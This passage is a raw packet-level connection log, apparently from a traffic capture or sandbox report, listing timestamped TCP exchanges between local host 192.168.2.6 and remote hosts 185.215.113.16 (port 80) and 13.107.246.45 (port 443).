Nov 20, 2024 00:19:18.759504080 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759520054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759541988 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.759557962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759597063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.759602070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759619951 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759654999 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.759743929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759758949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759773970 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759788990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759802103 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.759826899 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.759861946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760214090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760257959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.760266066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760282040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760320902 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.760360956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760376930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760392904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760407925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760417938 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.760457039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.760797977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760858059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760874033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760904074 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.760974884 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.760991096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761004925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761013031 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.761030912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761042118 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.761140108 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761154890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761169910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761183023 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.761185884 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761208057 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.761789083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761831999 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.761873960 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761888981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761924028 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.761943102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761959076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761976004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.761991978 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.762021065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.762058020 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.763485909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763541937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763557911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763586998 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.763628006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763643026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763662100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763668060 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.763721943 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.763757944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763806105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763834953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763845921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.763847113 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.763933897 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.763936996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764005899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764008045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764014006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764065027 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.764075994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764461994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764499903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764501095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.764503956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764590979 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.764605999 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764616013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764626980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764638901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764657974 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.764682055 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.764730930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764741898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764748096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764760971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.764774084 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.764811993 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.765392065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765439034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765450001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765477896 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.765541077 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765552998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765563011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765572071 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.765577078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765597105 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.765676975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765687943 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765698910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765710115 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.765711069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.765739918 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.766344070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.766396999 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.766401052 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.766412020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.766482115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.766495943 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.766505957 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.766506910 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.766516924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.766566038 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.775012016 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.775099993 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.775151014 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.775319099 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.775341034 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.775358915 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.775367022 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.778170109 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.778208971 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.778259039 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.778439999 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.778449059 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.812706947 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812733889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812746048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812758923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812769890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812779903 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.812782049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812796116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812805891 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.812827110 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.812913895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812926054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812937021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.812953949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.812969923 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.813050032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813105106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813116074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813129902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813141108 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813142061 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.813167095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.813498020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813508987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813519955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813543081 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.813561916 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.813630104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813642025 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813652992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813666105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.813694000 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.813718081 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.847008944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847052097 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847063065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847090960 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.847157955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847177029 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847192049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847196102 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.847206116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847229958 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.847978115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.847987890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.848001957 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.848012924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.848026037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.848036051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.848037958 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.848042011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.848053932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.848059893 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.848079920 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849172115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849222898 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849236012 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849250078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849270105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849282980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849288940 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849319935 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849371910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849384069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849392891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849412918 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849492073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849505901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849515915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849530935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849531889 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849553108 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849642992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849653006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849667072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849680901 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849697113 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849874020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849885941 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849900007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849917889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849929094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849932909 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849940062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849951029 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849960089 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.849966049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849992990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.849993944 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850003004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850013018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850023985 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850023031 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850038052 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850054026 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850083113 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850208044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850219965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850234032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850250006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850254059 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850267887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850279093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850279093 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850289106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850301981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850306034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850322008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850334883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850347996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850358009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850368977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850375891 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850387096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850398064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850584984 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850584984 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850646973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850706100 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850816011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850828886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850840092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850852013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850869894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850871086 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850883007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850893974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850899935 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850907087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850918055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850923061 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850929976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850941896 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850954056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.850954056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850964069 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.850987911 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.882827997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.882849932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.882867098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.882894993 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.882936001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.882949114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.882961035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.882972956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.882980108 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.883028984 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.883197069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883224010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883234024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883244991 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.883280039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.883749962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883826971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883840084 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883862972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883866072 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.883877039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.883903027 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.884547949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884584904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884592056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.884597063 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884634972 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.884711981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884722948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884736061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884747028 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884756088 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.884793043 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.884902000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884912968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884927034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884936094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.884952068 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.884962082 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.886816978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.886837959 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.886852980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.886883020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.886895895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.886930943 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902154922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902170897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902184010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902225971 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902267933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902278900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902290106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902312994 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902331114 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902616024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902662039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902673006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902699947 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902735949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902771950 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902779102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902791023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902836084 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902861118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902873993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902931929 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.902987003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.902997971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.903007984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.903033972 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.903070927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.903084993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.903098106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.903107882 CET	49765	80	192.168.2.6	185.215.113.16
